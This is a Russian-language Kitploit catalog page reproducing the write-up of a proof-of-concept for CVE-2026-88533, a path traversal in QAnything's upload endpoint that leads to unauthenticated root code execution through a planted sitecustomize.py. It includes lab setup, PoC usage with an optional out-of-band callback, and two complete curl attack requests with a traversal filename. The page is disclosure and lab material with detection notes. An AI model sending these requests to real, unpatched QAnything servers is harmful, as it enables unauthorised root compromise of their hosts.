Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-88533 — PoC и воспроизведение в лабораторных условиях для CVE-2026-88533 — неаутентифицированная произвольная запись файлов, приводящая к RCE с правами root в QAnything через обход пути в эндпоинте загрузки. | Kitploit
Инструменты/GitHubGitHub/hemlock-lyk/cve-2026-88533
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC и воспроизведение в лабораторных условиях для CVE-2026-88533 — неаутентифицированная произвольная запись файлов, приводящая к RCE с правами root в QAnything через обход пути в эндпоинте загрузки.

Репозиторий
110 ч 26 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-88533: Неаутентифицированная произвольная запись файлов → Root RCE в QAnything

CVE ID: CVE-2026-88533 (назначен MITRE, публикация записи ожидается) Продукт: QAnything от netease-youdao — открытая платформа RAG / вопросов-ответов по базе знаний Затронуто: v1.4.x по v2.0.0 (ветка по умолчанию qanything-v2, вплоть до финального коммита 65de104) Исправленная версия: отсутствует — проект не поддерживается с 2025-03-12; единственное исправление санитизации (PR #483) находится в устаревшей ветке master и никогда не было влито в qanything-v2 Слабость: CWE-22 Path Traversal Воздействие: Неаутентифицированное создание произвольных файлов → удалённое выполнение кода с uid=0(root) Обнаружил: Yankui Li


Краткое описание

Конечная точка загрузки файлов принимает контролируемое атакующим поле multipart и использует его в качестве пути назначения без санитизации разделителей пути. разворачивает обратно в , фильтрация полноширинных символов и усечение длины оставляют и абсолютные пути нетронутыми, а . Результат — записывает контролируемое атакующим содержимое куда угодно, куда может добраться процесс — по умолчанию внутри контейнера .

POST /api/local_doc_qa/upload_files
filename
urllib.parse.unquote()
%2f
/
../
os.path.join(base, name)
полностью отбрасывает base, когда name является абсолютным
open(file_location, "wb")
root

Поскольку продукт нигде не требует аутентификации (user_id/user_info — обычные параметры запроса), любой доступный по сети экземпляр принимает это анонимно.

Первопричина

root@kitploit:~
handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Два свойства делают это надёжно эксплуатируемым:

  1. Абсолютные пути работают напрямую — не нужно считать ../.
  2. Относительный обход также работает — %2e%2e%2f выживает, потому что unquote выполняется до любого фильтра.

Контраст по усилению защиты внутри той же кодовой базы: конечная точка upload_faqs заменяет / на _ в именах файлов. upload_files никогда не получила такой обработки, что делает её единственным вектором записи.

Примечание: LocalFile.__init__ имеет проверку if not os.path.exists(file_location), поэтому можно создавать только новые файлы — существующие файлы перезаписать нельзя. Поэтому эксплуатация нацелена на новые файлы в исполняемых местах.

От произвольной записи к root RCE

Официальный Docker-образ запускает Python-бэкенд от имени root. CPython автоматически импортирует sitecustomize.py из site-packages при запуске интерпретатора — свежий файл, помещённый в:

root@kitploit:~
usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ относительно, или абсолютный путь) импортируется при следующем запуске бэкенда, выполняя код атакующего с uid=0(root).

Почему site-packages, а не каталог приложения? CPython запускает site.py до вставки sys.path[0], поэтому sitecustomize.py рядом с входным скриптом не импортируется автоматически. site-packages — единственная надёжная зона сброса.

Другие векторы были проверены и исключены (задокументированы для полноты):

  • /etc/cron.d/ — каталог существует и принимает записи, но образ поставляется без демона cron, поэтому полезная нагрузка никогда не выполняется.
  • Перезапись существующих конфигурационных/кодовых файлов — блокируется проверкой существования.

Воспроизведение в лаборатории

Официальный образ + зафиксированный уязвимый исходный код (коммит 65de104):

root@kitploit:~
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Использование PoC (без зависимостей, только стандартная библиотека Python 3)

Скрипт PoC поставляется в этом репозитории (poc_qanything_cve_2026_88533.py) — каждый элемент доказательств ниже был получен путём его запуска против лабораторного стека выше. Клонируйте и воспроизведите точный вывод самостоятельно:

root@kitploit:~
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full один раз перезапускает целевой контейнер (задокументированное поведение; импорт CPython срабатывает при запуске). Всё поставляется безопасным по умолчанию: никакого обратного шелла, никакой разрушительной полезной нагрузки — демонстрационная полезная нагрузка записывает файл-маркер, содержащий вывод id.

Как выглядит атакующий трафик

Вся атака — это два HTTP POST-запроса; вот на что должно срабатывать обнаружение (multipart filename, несущий абсолютный путь или последовательности ..//%2f, — ключевой сигнал):

root@kitploit:~
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Доказательства

Все доказательства ниже — это фактический вывод терминала poc_qanything_cve_2026_88533.py (скрипт в этом репозитории), запущенного против лабораторного стека, собранного из docker-compose-lab.yaml. Ни один шаг не был подделан или смоделирован — скрипт завершается с ненулевым кодом, если не проходит каждая проверка, поэтому вы можете проверить цепочку от начала до конца самостоятельно.

Лабораторный стек — официальный образ + минимальные зависимости, все контейнеры в рабочем состоянии:

Lab stack

--mode check — подтверждён неаутентифицированный примитив записи: маркер был записан вне каталога загрузки через multipart filename с абсолютным путём и прочитан обратно изнутри контейнера:

Check mode

--mode full — после перезапуска контейнера CPython автоматически импортирует внедрённый sitecustomize.py; маркер полезной нагрузки доказывает выполнение с uid=0(root):

Full chain

Полная стенограмма терминала запуска --mode full, показанного выше, также включена дословно: evidence/full-chain-run-2026-09-18.log — 6/6 проверок [OK], вердикт RCE CONFIRMED, маркер полезной нагрузки, доказывающий uid=0(root) с отметкой времени (значения nonce/kb_id в логе генерируются случайно при каждом запуске, поэтому ваш собственный запуск будет отличаться — это ожидаемо).

Скриншот страницы записи CVE будет добавлен после публикации записи.

Хронология

ДатаСобытие
2026-08-25Уязвимость обнаружена; примитив записи проверен на живом экземпляре (безвредный маркер + чтение обратно)
2026-08-29Полная цепочка RCE воспроизведена в изолированной локальной лаборатории; отчёт написан; отправлен в MITRE (CNA-LR) через cveform
2026-09-18CVE-2026-88533 назначен MITRE
TBDЗапись CVE опубликована; этот репозиторий и подробный разбор выпущены

Отказ от ответственности

Этот материал публикуется для защитных исследований и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. См. DISCLAIMER.md.

Скачать инструмент